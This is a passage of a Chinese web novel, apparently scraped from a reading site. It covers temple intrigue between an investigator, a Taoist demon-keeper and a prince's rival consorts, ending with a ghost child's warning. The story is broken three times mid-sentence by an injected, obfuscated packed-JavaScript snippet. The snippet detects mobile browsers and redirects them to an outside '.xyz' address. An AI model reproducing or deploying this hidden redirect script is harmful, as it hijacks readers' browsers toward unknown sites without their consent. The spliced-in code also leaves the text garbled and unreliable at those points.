“……”霍彦先甚至没有来得及回一个无奈的眼神,他那年轻时骑马射箭样样全能的母亲已经一个闪身钻进了房门。 “啪”地一声,留给霍彦先的只有房门猛一关闭扑面而来的风。 “……” 霍彦先无奈地摇摇头,默默往自己房间走去,这边都是女客客房,他一个大男人的房间被安排在了最边角的地方。 他一路不动声色溜着墙贴边走,生怕碰到三三两两结伴而行的夫人贵女。 心中默念,大家互不打扰,相安无事,赶紧把这一天顺利渡过,这是最好的。 霍彦先没有搪塞母亲,他确实打算在寺庙周围巡防一番,毕竟答应了母亲要护卫众人安危。 她说的有道理,桓安闹妖鬼之事可能为虚,或许有人趁乱搞事为实。 这样一想,他又打起精神,将寺庙周边每一寸土每一棵树,都仔仔细细查了个遍,交代一众侍卫认真守着。 夜幕落下,霍彦先用过晚膳后,已在寺中百无聊赖地走了三圈,又转回大雄宝殿。 突然,他脸上浮现了不可思议的表情。 这是……又出现幻觉了么,为什么他竟然看到了阿婵…… 这里不是佛寺么? 她一个坤道,来这里做什么? 况且寺内已清过场,闲杂人等应该不能进来啊,怎么会……? 脑海瞬间浮现一连串问题,霍彦先心中莫名“突突”直跳。 直觉告诉他有危险,但分不清是阿婵让他觉得危险,还是遇到阿婵就会遇到危险,总之就是……很危险。 到底为什么,她又在这里?! 他本欲快步上前,但转念一想,还是悄无声息靠近大殿,暗中观察。 只见阿婵从随身背囊中掏出一个小袋子,打开袋子,里面一个黑影立马蹿出来直奔大雄宝殿而去。 霍彦先吃惊,以为她要做什么,连忙上前。 却见大雄宝殿中,焰炁饕妖正在大口大口地吃着缥缈的香火,一边吃一边还流下涎水,阿婵将一个小杯盏放在焰炁饕妖涎水正下方的台面上,将涎水接住。 “……” “霍大人?”阿婵听到脚步声转身一看,惊喜道:“这么晚了,还没休息呐?” 她就这么坦坦荡荡地说出这句话,霍彦先简直不知道该说什么好。 “难道不是应该我问你,你为什么在这里?”熟悉的头痛感又向霍彦先袭来。 阿婵指着旁边大快朵颐的焰炁饕妖,“它好多天没吃到爱吃的饭了,这里香火上乘,我赶紧喂它吃点。” 霍彦先沉脸望着她,完全没有说笑的意思:“你明明知道我在问什么。” 见他这幅样子,阿婵只好有所收敛:“哎呀好了好了,我知道今日煜王夫妇和一众夫人贵女都来寺中祈福,我没有打扰大家祈福呀。” “那你知道寺中清场,不许闲杂人等进入吗?” “但我一直住在寺里,不是今日才进来的,我从七日前就一直住在这里。”阿婵眼神里全是无辜。 “你不是坤道吗,住在佛寺做什么?”霍彦先下意识拿出了审犯人的语气。 “哎,像我这种苦命人,自然是来干活混口饭吃啊。”阿婵叹气。 霍彦先眼中疑云未散。 “怎么,大人不信么?”阿婵突然靠近霍彦先将他的手捉住,搭在自己手腕上。 她再一次猛地靠近,霍彦先没有任何准备,瞬间慌乱震惊。随即察觉到手腕上温凉纤细的触感,意识到自己的手握住了她的手腕,忙跟山芋烫了手一般要甩开她的手:“你做什么……” 阿婵却牢牢扣住他的手,不让他抽.离,低声说: “上次在荔南府江上,你们绣衣察事司不是有靠脉搏心跳判断是否撒谎的手段吗?既然大人不相信我,可以探探我的脉搏,看我是不是说谎了?” 阿婵离霍彦先很近很近,近得呼吸可闻,烛火映在她的脸上,投下半明半暗的阴影。 阿婵的眸子一边映出烛火跳动,一边映出暗夜深邃,难言的蛊惑妖异之感又不加掩饰地在霍彦先面前完全展露。 她的声音很轻,沁着一丝笑意,像大殿中氤氲的香火,轻轻钻进霍彦先耳中,撩拨得他心跳一滞。 待到他回神,大觉不妙,用力甩开了阿婵的手,头偏向一侧,不敢去看她。 他向后退,阿婵却紧逼上前:“怎么了霍大人,脉搏测不出吗?那可以听听心跳……” 霍彦先只觉耳热心慌,堂堂八尺男儿竟被阿婵逼得又退了一步,难以置信道:“寺庙清净之地,你……你一个姑娘家,请自重……” 阿婵笑得狡黠:“我怎么了?大人以为我要做什么?我这不是在佛祖面前跟霍大人自剖心迹以证清白?小女子可不敢有半句虚言。况且,这不是你绣衣察事司审犯人的法子么?” 她对月长叹:“唉,看来我还是好事做得不够多啊,也不知道我是杀了人还是放了火,惹的两次一起捉妖追凶的霍大人对我还是如此怀疑,当真是我心寄明月,奈何喂了狗……” “……”霍彦先又产生了深深的无力感,这女人,怎的净不按常理出牌。 但他不喜欢这种落下风的感觉,迅速整理思绪,找回场子,轻咳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054336|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声问道:“既然你是来干活的,方丈应该知道吧。” “那是自然。” “你这边结束随我走一趟。” “如何?” “去见方丈,核实情况。” “好啊。” 见阿婵答应得爽快,半分不心虚,霍彦先料她没说谎,摸.摸鼻尖,安抚似的找补两句: “你也别生气,这是我职责所在,需要确保煜王夫妇以及众位夫人贵女的安危,所以没有核实之前,在我眼里,一切无关人员都是危险因素。” 他语气难得柔软,阿婵也懒得计较:“好好好,知道你们绣衣察事司谨慎了……” 见焰炁饕妖吃得差不多了,阿婵将其收回随身背囊,和霍彦先一同去找方丈。 结果,方丈证实阿婵不仅是七日前便在寺中住下,而且是他亲自请求阿婵住下的。 因寺中有位高僧之前在外云游讲经,遭遇火灾,他不顾自己安危冲进火海救人,被严重灼伤,伤口溃烂不已。 方丈四处寻药未果,正愁眉不展,刚巧旧识阿婵找上门,想给焰炁饕妖讨口香火吃,就顺口问她有没有办法。 阿婵说焰炁饕妖的涎水,配合药犀门的魄骨膏,可以根治严重烧灼伤,促进伤口皮肤愈合。 只是,高僧全身被烧伤,需要用的药不少,焰炁饕妖之前的涎水已经卖出,最近都没有吃饱过,没有涎水可取。 方丈一听,便让她住下,寺中平日香火便很旺,待七日后煜王夫妇前来为民众祈福之时,香火最为鼎盛,便可以让它吃个饱,收集足够多的涎水救人。 方丈一把年纪,颤颤巍巍,非常诚挚地跟霍彦先说: “闻寰居士宅心仁厚,慷慨救人,分文不取,只求给焰炁饕妖足够的口粮,且白日里也遵守清场约定,没有前往打扰祈福仪式,等到晚上才去大殿采集涎水救人,还望霍大人见谅,若有不周全怪老衲。” 原来阿婵口中所说的“混口饭吃”竟真的只是给那小妖怪一口饱饭吃,怪不得她那么理直气壮。 霍彦先得到答案,便不再纠结,道声打扰之后从方丈房中.出来,即刻给阿婵道歉:“对不起,刚才误会你了。” 见他态度良好,阿婵也非常大度地摆摆手:“没事没事,如果可以的话,只希望……” “什么?”霍彦先抬眼望她。 阿婵状似心痛,“只希望人与人之间能够多一些信任,否则一片真心不如喂狗。” 霍彦先气笑了,好家伙,果然牙尖嘴利,得饶人处不饶人!行,这波就算他理亏,他忍。 而后,阿婵要继续采集子夜露水入药,霍彦先则准备再巡第四圈,二人有一段路同行。 快到山门时,突然阿婵拽住霍彦先的胳膊,将他拖到角落里一棵大石榴树后躲起来。 霍彦先皱眉,不知她又耍什么花活。 阿婵眼中兴奋,指着前面:“看!” 顺着她手指的方向,霍彦先看到前方不远处,有两个人站在一棵参天古树下正在谈话,雾气遮月,暗淡的月光下,也能很清楚地看到是一男一女。 男的是煜王,女的,竟然是白日在后山遇见的那个叫做什么……阿水的女子。 “这是在做什么?!”霍彦先顿时一个头两个大,下意识就开始搜寻周围是否有煜王妃的身影,这要是被她看见…… 阿婵白了他一眼:“孤男寡女,花前月下,还能做什么?” 闻言,霍彦先下意识要反驳他不是这个意思,突然愣了一下,古怪地看向阿婵。 “看我做什么?”阿婵道,随即明白他眼神中的意思:“哦呦,这话可不包括你和我。” “那我们这算什么……” “深夜还要拉磨干活的牛马罢了!”阿婵痛心疾首。 “……” 48. 诉衷肠 几个时辰前,众人从后山下来,煜王便借口有事出去了,阮云薇不便说什么,只能独自回房。 甫一踏进房门,阮云薇再也维持不住人前的端庄亲和,叫来婢女:“快去传信给柳盛,让他给我查,楼映真到底和王爷发生了什么!” 阮云薇脸上惊疑不定,心中复杂的情绪犹如翻江倒海。 怎么回事,楼映真什么时候变成了阿水? 十年前他可是连看都不看她一眼的,怎的如今还在梦中呼唤她的名字? 而且楼映真不是举家迁去了西北的安密镇吗?死了夫君又被困在那等蛮夷之地,不是应该过得很苦么,怎么整个人反倒脱胎换骨一般,不仅变瘦还变美了?! 刚才她这一瞥之下,都有些惊艳,难怪能勾得煜王魂牵梦绕。 但是,她到底经历了什么? 想着,阮云薇不禁又开始头痛。 家里的莺莺燕燕已经够她对付了,没想到如今又蹦出个劲敌,还是她的寡.妇表妹楼映真! 她和楼映真从小一起长大,如何不知道她的心性,这可不是什么善茬儿。当年煜王妃位之争,她和楼映真虽然表面仍然维持平和,但私下都没少动用手段。 阮云薇本来的目标并不是煜王,而是太子。 但在桓安贵女里,她的家世背景并不是顶级的,所以太子妃之位,她难以企及。 可太子十年前与皇后相继薨逝,所有人始料未及,倒是让她万分庆幸,幸好自己家世不够,否则真嫁了东宫,还不知道要不要去陪葬。 于是她更加仔细地权衡,选中了煜王晁元肇。 这位庶子并不太受当今圣人的宠爱,相较于太子和其他贵妃的子嗣,他的生母只是一名刚入宫不久的才人,生了他之后便去世了。 后来圣人将他过继给不受宠的郑昭仪,前几年也已去世。这些年圣人对煜王一直不咸不淡,也养成了他闲散王爷的性子。 但阮云薇仔细调查后发现,煜王此人虽表面看上去很是风.流纨绔,但私下行事作风却像是个有野心的。 当时,她的姑母阮淑妃给她的意见是,此人韬光养晦,或可大有作为。 因此从那天起,阮云薇便调转靶心,将目标瞄准了煜王。 可没想到,她如此想,楼映真竟也如此想,这位表妹从小跟她一起长大,处处爱学她,但因身材容貌不如她,阮云薇从未将她视作劲敌。 但谁知,后来楼映真为了迎合煜王的偏好,下定决心瘦身不吃饭,饿到昏厥,阮云薇才发现,她这位表妹,竟也是个狠角色。 那时,阮云薇有点慌,她和表妹五官有点相似,但堂妹偏丰腴,若论外貌,自己才是煜王喜欢的类型,但如果楼映真当真瘦下来,那便不好说了。 因此,她只能抓住先机,让姑母尽快牵线,在宫宴中找机会先结识煜王,几次三番制造交集,引起他的注意。 她的姑母阮淑妃,在四.大贵妃中,地位仅次于陈贤妃。比楼映真的姨母混得好一些,尤其是楼父遭贬谪之后,楼德妃谨小慎微,不敢造次。陈、阮二位贵妃在无主后宫中各自凭借手段,维持后宫平衡。 后来阮云薇凭借姑母这边的势力,打败了众多贵女,如愿成为煜王妃。 十年过去,宫中局面大不相同。 皇后薨逝,圣人心痛至极,将对她的思念都移情至太子身上,倾注所有心血栽培其为储君,可没想到,没过多久,太子竟也追随皇后脚步而去。 圣人大受打击,一直没有重新立太子,众多皇子夺嫡之争也从未消停。 而煜王却一直游离在权利争斗之外,过得闲云野鹤一般。她有时候怀疑自己是不是看错人了,但姑母却总让她沉住气,再看看。 果然,煜王所做的一切都有目的,这些年他打着闲散王爷的旗号四处游历,在民间为百姓谋了许多福祉,口碑很是不错,但他却从不在圣人面前邀功争宠。 此次荔南府治理贪墨水患案归来,圣人开始对他青眼有加,多年来的韬光养晦,终于守得云开见月明。 阮云薇又燃起了希望,只要她的夫君保持这种作风态势,总比陈贤妃那个不成器的儿子强,说不定之后可以剑指东宫! 如此,她必须要坐稳煜王妃之位,可不知为何,成婚十载,无论她如何努力,就是没能怀上子嗣。 煜王虽然表面对她一如既往地好,但往后院塞人的速度是一点不减。 阮云薇哪能不气闷,但没奈何自己的肚子不争气,她也只能打落牙齿和血吞。 要知道,无所出也是七出之条,按律就算煜王休她,她也无话可说。但碍于阮贵妃的势力,煜王还是维持着她在煜王府内外的地位和体面。 但阮云薇知道,王府内内外外,包括整个桓安显贵的内眷圈子中,还不知道私下怎么嘲笑她无能。 十年来,她日日费尽心思挽留讨好煜王,到头来不仅没有子嗣,后院还天天明争暗斗,常常鸡飞狗跳,把一觉醒来搞得七窍生烟、焦头烂额。 如今又来了一个化身阿水的楼映真。 她知道煜王曾经有个救命恩人,不幸身殒,每年都会回到故地缅怀,但没打探到就是阿水。想来他可能对身边人都下了封口令,故意不让她知道。 这阿水要是死不见尸,煜王魂牵梦绕,她也没辙,毕竟如何能与一个死人相争。 可如今她竟然还活着,还是楼映真!这简直不可忍受! 家里的莺莺燕燕已经够她对付了,阮云薇不敢想,如果她和楼映真同处煜王府,将会是什么场面。 现在她只有一个心思,就尽快把楼映真弄死,免得夜长梦多。 怎么能让一个寡.妇搅动煜王府的后院风云! *** “什么时辰了?” 阮云薇一觉醒来,还是感到头痛,婢女服侍她起身。她迷迷糊糊睡着,梦里全是后院那些糟心的女人和楼映真,头痛非但没有缓解反而更加难受。 “回王妃,已经亥时了。” “殿下呢?” “尚未回来,据说……还在与那位阿水谈心……”婢女小心翼翼。 ???!!! 阮云薇当即从床上垂死病中惊坐起,“去!给我沏一壶毛峰来。” 婢女领命而去,阮云薇迅速整理好衣冠发饰。 她从自己的随行妆奁最下方取出一个袖珍木盒,打开木盒,里面一只金色小虫蠢蠢欲动。 眼中闪过一抹戾色,阮云薇盖上木盒,放入袖中。 不多时,婢女端过茶来。 阮云薇亲自端着茶,向门外走去。 走出客宿廊院,穿过莲池,快到后山门之处有一座凉亭,凉亭旁的一棵古树下,果然见到煜王还在与那贱.人互诉衷肠。 离得那么近,怎么不贴上! 阮云薇心中嫉恨,但面上仍保持着煜王妃在众人面前的得体微笑,施施然向二人走去。 不远处的石榴树后,阿婵和霍彦先两人也观察到了这边的新情况。 “哦呦,来了来了!”阿婵看热闹不嫌事儿大,一脸兴奋地撺掇霍彦先看。 霍彦先只觉得自己不该这么有责任心,不该答应母亲来这里,为什么这一天这么漫长?为什么这些破事还不结束? 煜王的风.流债,他是一点都不想看到不想沾边,她们争风吃醋归争风吃醋,别闹出事端来让他收拾残局。 夜间无风,月色朦胧,但阿婵和霍彦先都是目力耳力极好之人,是以将那边的动静尽收眼底。 阮云薇笑着向煜王走去,因煜王背对着她并不知情,还在对楼映真诉衷肠。 “所以你在安密镇的娘家受了许多苦,才去晋南隐居,我们二人能在晋南山中相遇,也算是桓安的缘分未尽。况且你于我有救命之恩,今后我理当好好报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059014|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答你,护着你,再不会让你吃半分苦头。” 阮云薇听到这话,脚步一个踉跄。 “煜王殿下言重了,殿下为百姓做了许多好事,这是上天在护佑您化险为夷。 映真当时只不过是在晋南山下村落扮作猎户,隐姓埋名住了一阵,强健体魄,正好路过山中,殿下当时遇险的情形,就算没有我,只要路过的村人有能力都会出手帮忙,不值一提。” 好一个得了便宜还卖乖!阮云薇心中暗骂。 “怎么可能不值一提!你当时跌下山崖,我差点以为这辈子再也见不到你了!”煜王情急之下想一把握住楼映真的双手,堪堪靠近之时却又停手。 他目光灼灼,眼中溢满稀世珍宝失而复得之喜悦,激动却又小心翼翼,半分不敢冒犯越界。 阮云薇虽看不见煜王的脸,但他声音中的情绪已经说明一切,她何时见过这样的煜王! 她眼中浮现从未有过的凶狠,在夜色掩映下,一闪而过。 楼映真看到煜王身后的阮云薇慢慢走过来,连忙与煜王拉开距离。 “殿下不必激动,经过晋南山中一劫,我们也算是有过命交情的朋友了,以后若有空,还可以把酒言欢。” 煜王对身后妻子的靠近一无所知,只沉浸在自己的心绪之中,声音暗哑地对楼映真说:“朋友……?阿水、不、映真,若我对你……不止是朋友呢……” 他眼中别样的情愫满溢出来,楼映真却看到阮云薇已经走得极近,连忙道:“殿下快别这么说,天色不早了,王妃还在等您呢,快些回去歇息吧。” 煜王见她拒绝,急道:“不用管她……你我……” “是啊,不用管我。不过殿下与映真妹妹久别重逢,说了这许久的话,一定口.干.舌.燥了吧。妾身特意给二位准备了毛峰茶,去去燥热火气。” 阮云薇的声音清泠泠从煜王背后传来,他一激灵,堪比被冰锥从背后刺了一下。 “云薇……你何时来的?”煜王有些窘迫。 “从殿下说要报恩开始。”阮云薇依旧维持着王妃的风仪万千,笑道:“殿下,您也真是的,不知道我苦等了许久嘛?” “等……等什么?”煜王有些心虚。 阮云薇嗔怪道:“映真也是我的表妹啊。我和她自小一起长大,这一晃许多年不见,一见面您就将她霸占了这么久,我想与映真妹妹说两句体己话都说不上,叫我好等。我是实在想妹妹了,所以才过来寻她,殿下就将她让与妾身一会儿吧。” 这一番话说得巧妙,既给了煜王台阶下,又不伤楼映真的颜面,也有借口赶煜王走。 “是啊殿下,我与云薇姐姐确实很久不见了,就让我们姐妹俩好好叙叙旧吧。”楼映真也跟着帮腔。 煜王这才作罢,“是本王疏忽了,你们从小到大一起长大,自然应有许多话要说,那你们聊,本王就不妨碍你们了。” 说罢,煜王便逃离了现场,只留下阮云薇和楼映真两人。 场面一度静默。 因这场景十分刺.激,霍彦先手心也不禁冒汗,他悄悄看阿婵,出乎意料,她八卦的神色之中却有种莫名的冷静,让他觉得很是奇怪。 “云薇姐姐,好久不见,你还是容颜未变,一如当年艳冠桓安,光彩照人呢。”楼映真说道,眼神中却不是羡慕,而是平静无波。 “妹妹你这些年倒是变了许多,历经丧夫之痛,又迁往西北边陲,一定吃了许多苦吧。” 楼映真凄然一笑:“苦自是没少吃,以前年纪小不懂事,以为只有我苦,后来才知道,世人各有各的苦。若说苦,姐姐这些年为了孩子,想必吃得苦也不比我少。” “孩子”二字,她特意咬了重音。 阮云薇面上笑容顿时僵住,楼映真一番话绵里藏针,她心中的刺被豁开,恨意更盛,袖中握着木盒的手攥得更紧,指甲陷入手掌。 49. 奇怪的天象 不过只一瞬,阮云薇便恢复常态:“妹妹说的是,要论开心,还是我们几个待字闺中的时候最开心。过去这十年,先是俊贤走了,紧接着姨夫出事辗转迁往西北边陲,不久姨母又离世,你那庶母也不是个好相与的,这一连串的遭遇,换做是我我也受不了。” 阮云薇从小和楼映真一起玩大,自是十分懂得如何才能戳到她这位好姐妹的痛处。此刻见楼映真眼中划过一丝阴霾,才感到满意,又补上一句: “既然咱们二人都是苦命人,正好今夜久别重逢,无人打扰,不如妹妹陪我走走如何?” 楼映真心中虽恼,但多年来命运的磋磨已经让她变得沉稳许多,为了辛苦谋划的一切,没有什么是不能忍耐的。 当下她便微笑着应下,陪阮云薇在寺中散起步来。 此刻夜已深,灵骅寺处于深山之中,树木参天,古树虬枝,盘根错节。白日里虽清幽怡人,但夜晚走起来,却与白日截然不同,过分的漆黑静谧中,流淌着一股瘆人的诡异。 阮云薇和楼映真相伴而行,尽管是夏夜,二人因各怀心思,走在这样的寺中,依旧觉得周身一股森森凉气直钻入脊背。 “姐姐,你看今晚的月亮周围竟有个银环呢。” 楼映真没话找话,本想找个赏月的话题,没想到抬头便看到了不寻常的月色。 阮云薇抬头望去,发现月亮周围绕着一圈淡淡的银白光环,仔细看,那光环又不是单纯的银白,而是内红外紫,渐渐晕染,不由得奇道: “人都说这座寺庙中秋的月色最美,没想到未到中秋,咱们姐妹俩却也有幸见到如此奇观,当真幸运。” 楼映真还是觉得哪里有些奇怪,但也顺着阮云薇的话,笑着附和。 而此时悄然跟在她们身后的阿婵望着天,表情却严肃了起来。 这银白光环是月晕,正所谓“月晕午时风”,一般出现月晕的第二天,午时便会起风。 但此时的月晕和她寻常见到的并不太相同,她向寺庙周遭看去,发现古树庙宇周围不知何时已经笼罩上了一层薄薄的雾气。 她心下警惕,想了想,便给身旁一直跟着的霍彦先手中塞了点东西。 霍彦先发现她竟塞给自己一沓厚厚的黄.色符箓,不由得蹙眉看向阿婵,眼神刚透出疑问,便见阿婵对他挤眉弄眼,无声地比起了手势。 他也不想懂,但是根据以往的经验和以他对阿婵的了解,竟然一下便懂了,阿婵是在跟他说—— “月色不寻常,以防万一,你先拿着,没事你再还给我,用不上不要钱。” “……” 霍彦先的左眼皮立马开始狂跳,一连串念头在心头飞驰而过——这又是要遇见什么幺蛾子了?就说遇见她不是巧合!但到底为什么一遇见她就…… 他心下不禁叹气,本来这次灵骅寺之行只是他休沐一天为了敷衍家中老母亲才来的,结果…… 白日里遇到蛇也就算了,竟还牵扯到煜王的情感纠葛!煜王的正宫红颜之间明争暗斗他要费神在后面保护也就算了,现在有了阿婵这个“特殊体质”的加持,又让他觉得周遭深暗幽冥中伸出的树影虬枝变得异常危险。 想到这里,霍彦先只能认命地打起精神,心中暗暗祈祷这漫长的一.夜赶紧过去,千万不要出事。 他冲阿婵点头表示“知道了会小心”,二人更加密切地注视着前方两个身影的动向。 只听得二人低声闲聊几句,阮云薇便关切地问道:“妹妹,你这十年来到底经历了什么?怎么瘦到如此程度,莫不是生病了,若是遇到什么难处,一定要和姐姐说,我帮你想办法。” 楼映真语气平静无澜:“多谢姐姐关心,不怕姐姐笑话,自从夫君死后,我.日日难以入眠,不明白为什么这样的事会发生在我身上。 后来随阿耶到了西北边陲,阿娘去世更令我难以释怀。而且,安密镇民风彪悍,可不认你是不是贵女,我一个弱女子外出经常受到欺辱,所以才不得已学了些防身的功夫。 但你知道的,我自小娇生惯养,没吃过练武的苦头,所以瘦了很多。” 阮云薇情真意切地拉起楼映真的手道:“西北那地方风沙粗砺,真是吃人,妹妹你受苦了。” 楼映真却好似回忆起什么来,轻快地笑嗔:“小时候我不是总和姐姐抱怨,我这圆滚滚的身子,怎么辟谷都瘦不下去,没想到该吃的苦吃到了,自然也就瘦下去了。” 说着,她语气中的笑意染上了一抹苦涩:“可没想到,练了功夫之后,不仅人瘦下来,连带精神也好了许多,不再夜夜难眠。” “如此便好,妹妹也是因祸得福。” 楼映真顿了顿,深深看向阮云薇,慢悠悠补了一句: “而且若不是因为这个,我也无法遇见煜王殿下。那段时间我在晋南山中隐居,遇到了殿下遇险便出手帮忙,那日跌下山崖之时,我本以为就要去见阿娘和夫君了,但还好上天让我活了下来,而今又遇到了殿下,这大概就是命吧。你以为命中有的其实没有,你根本想不到命中会有的,上天自会给你安排。” 阮云薇心中一凛,手指不由得又触向袖中的木盒,面上挤出一丝笑容:“妹妹是有福之人,之前的苦都受过了,以后自然就都是好日子了。” “若说有福,姐姐才是真正的有福之人。一生顺遂,在家有父母宠爱庇护,出嫁也和煜王殿下相敬如宾。我算什么?自从夫君和阿娘走后,我已经没有什么奢求,不求大富大贵,只求安安稳稳地过完这一生便好。” “那妹妹如今可是回桓安常住?” 楼映真点点头,语气凄苦,“自从阿娘离世,庶母便给阿耶吹枕边风,说我克父克母克夫。想不到我一个嫡女,竟在娘家沦落至此。不过后来我也想通了,娘家待我不好,我也不必受气,比起别人还是自己庇护自己最为可靠。 横竖阿娘也留了些体己钱,够我谋生,我左思右想,还是桓安最熟悉,便独自一人回来,不受那窝囊气。 因为阿娘生前曾经最喜欢到这寺中来祈福,我便想着也来为娘亲祈福,为我自己祈求一份前途护佑。没想到遇见了煜王殿下和姐姐,姐姐你说,这算不算是上天给我的指引呢。” 她神色幽幽看向阮云薇。 阮云薇面上神色动容:“谁说不是呢,妹妹受苦了,今后你在桓安一日,我和殿下一定护你周全。” 她语气温柔,袖中手却紧紧攥着木盒,浑然不知自己的动作已经被悄悄“缀”在身后的两人尽收眼底。 霍彦先看到阮云薇的手藏在袖中,便知她应是藏了什么东西,女眷之间的争风吃醋也可怕得很,他怕闹出人命,便紧紧盯着。 阿婵的眼睛盯着前面二人,手却按在随身背囊上,心中暗忖,阮云薇袖中到底藏了什么东西?怎么背囊中的玉鳞蝶如此躁动? 霍、婵的所思所想,阮云薇和楼映真自然是不知道的,二人还在互相试探对方。 听到阮云薇说要护自己周全,楼映真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061539|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中冷笑,当初阿耶出事之时,她也不是没有向阮云薇求过救,但那时她说什么来着? 哦,对了,因为自己已经身为煜王妃,需要顾虑的东西太多,得从长计议,这一从长就是十年,她们之间便再没联系过,哪怕阿娘去世,也没问过一句。 这就是她说的要护她周全? 楼映真应道:“那便多谢姐姐和煜王殿下了,而且我此次回来还有一事,需要调查。” “哦?是什么事,我看看能不能帮上忙?” “我一直觉得十年前夫君的死有蹊跷,但当年我并无能力去查这件事,而且后来阿耶紧接着被贬谪到西南边陲,家里发生了太多的变故,也无暇顾及此事。 万幸,如今我结识了煜王殿下,便希望借他的能力,帮我查一查夫君当年的死到底有没有隐情。 夫君生前待我不错,虽然我们夫妻缘分短,但我也真心想帮他查明真相,不想他含冤而死,九泉之下也不得安息,这确实是我今日和煜王殿下攀谈许久的一点私心,还望姐姐体谅。” 阮云薇脚步不稳,一个趔趄,差点摔倒,楼映真将她稳稳扶住,“姐姐小心。” “不碍事,石阶上有露水湿滑而已。”阮云薇站稳后立刻甩开了她的手,强笑着理了理鬓发,保持端庄。 见阮云薇心神不宁的样子,楼映真心中纳罕。 她没想到,自己不过随口胡诌个借口接近煜王而已,可现下阮云薇眼神中却有明显的慌乱,难道竟真让她诈出点什么? 虽说她跟那短命鬼也没多深的感情,但一想到她的悲苦十年就是从他死后才开始的,如果真的跟阮云薇有关…… 想到这里,楼映真心中更恨,那时阮云薇已经嫁给了煜王,她已经没有什么东西可能跟她相争,她为什么要害那短命鬼,但如果不是她害了短命鬼,她为什么是这个反应? 两人心中各自掀起惊涛骇浪,一路随心所欲走着也不知偏到了哪里,竟走到一处非常幽深昏暗的配殿。 参天古树将月华掩盖,周遭甚至没有灯笼的光亮,只有淡淡月色从交错的枝桠缝隙中漏下,阮云薇和楼映真二人的影子在斑驳石板上摇曳,如同鬼魅般飘忽。 “此处太暗,天色也不早了,姐姐我们还是先回去休息吧。” “好。” 二人虽各怀鬼胎,此刻却同时感到一股寒意从脚底升起,脊背发凉,不由得都加快了脚步。 沿着石板路几经曲折,穿过一片树林,前面便是开阔地,应该离客宿区域不远了。 她们脚步不停,忽然间,林中莫名起了一阵风,似乎有很多东西在低矮的草丛中掠过,窸窸窣窣,沙沙作响。夜太过静谧,这声响无端被放大数倍,似百鬼低语,又仿佛有无数只看不见的手在拨弄着草丛。 “小心有蛇。”楼映真低声道。 “可侍卫下午已经撒过驱蛇药了,怎么还会有蛇,看起来还很多……”阮云薇声音带颤,紧张地四下张望。 因午后遇蛇,煜王和霍彦先已特意派侍卫巡查过一遍,按理说寺中不该有蛇,但如果不是蛇,那会是什么呢…… 习武的直觉告诉楼映真,肯定有哪里不对劲,她警惕地看向周围,只觉此地诡异得令人窒息,似乎除了她二人,周遭连空气都凝固了。饶是她会武,也不禁心生恐惧。 而在她身后的阮云薇也同样慌乱,呼吸急促,心砰砰跳,袖中的木盒已几欲打开。 就在此时,楼映真猛地转头,看向身后。 50. 虎伥 阮云薇因楼映真突如其来的动作吓了一跳,以为她察觉了什么,喉咙发干,心下狂跳,脸色煞白。 迟了一下,也佯装惊觉身后有什么东西,跟着楼映真转身。 就在二人转身之际,月晕的光环颜色由银白骤变成血红,仿佛精怪的血色眼眸,怨毒地窥视着古寺中的一切。 参天古树树影幽暗,寂静的寺院中,她们二人心跳如擂鼓。 二人身后,一道黑影从角落漆黑的阴影中悄然蹿出。血红的月晕之下,其轮廓逐渐浮现,但转瞬即逝,悄无声息,二人竟未有察觉。 楼映真蹙眉凝视着周围的草丛,指着突然出现的一团黑影说道:“姐姐,你看那里是不是好像有个人?” 阮云薇也看到了,夜色下暗密的草丛中竟低低伏着一个小小的身影,似乎是个小孩子。 楼映真和阮云薇此刻自然不想去管别人的闲事,但不知怎的,这团影子似乎有魔力,她们二人不由自主地便朝影子走去。 待走到跟前,她们才发现,那竟然是个十一二岁的小男孩,圆圆的脑壳,豆芽般细骨伶仃的身子。 阮云薇忽然瞳孔皱缩,猛地拉扯楼映真,凑到她耳边低声道:“他、他、他……” 她此时已被吓破胆,连句完整的话都说不出来。 为什么这孩子的身子细骨伶仃?因为身上的血肉像是一条一条被什么东西撕扯下来,仅剩一点贴着骨架,只有一颗头,还勉强保持着人的形状。 “你、你是谁家的孩子,这么晚了,怎么在这里,迷、迷路了吗?” 楼映真虽也害怕,但看阮云薇那惨白得跟眼前的鬼没什么差别的脸色,便知没法指望,只好自己强装镇定,壮着胆子问道。 小孩子也不回答,只直愣愣地看着她们,眼睛很大,瞳仁很黑,却很空洞。 他手臂僵硬地抬起,指了一个与她们回客宿廊院完全相反的方向,嘴唇微动,发出艰涩沙的哑声音:“快回去,快回去……” 